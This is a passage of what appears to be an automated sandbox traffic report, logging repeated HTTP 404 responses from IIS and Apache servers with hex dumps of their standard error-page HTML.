30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Mon, 01 Jul 2024 17:25:33 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Mon, 01 Jul 2024 17:25:35 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Mon, 01 Jul 2024 17:25:39 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 17:25:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 17:25:56 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 17:25:58 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 01 Jul 2024 17:26:12 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 01 Jul 2024 17:26:15 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 